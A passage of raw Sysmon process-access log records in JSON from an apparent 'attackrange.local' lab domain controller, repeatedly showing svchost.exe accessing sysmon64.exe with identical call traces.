ll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3556,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.042\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.042","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3557,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.042\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.042","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3558,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.042\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.042","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3559,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.042\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.042","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3560,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.042\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.042","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3561,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.042\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.042","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3562,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.042\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.042","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3563,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.042\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.042","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 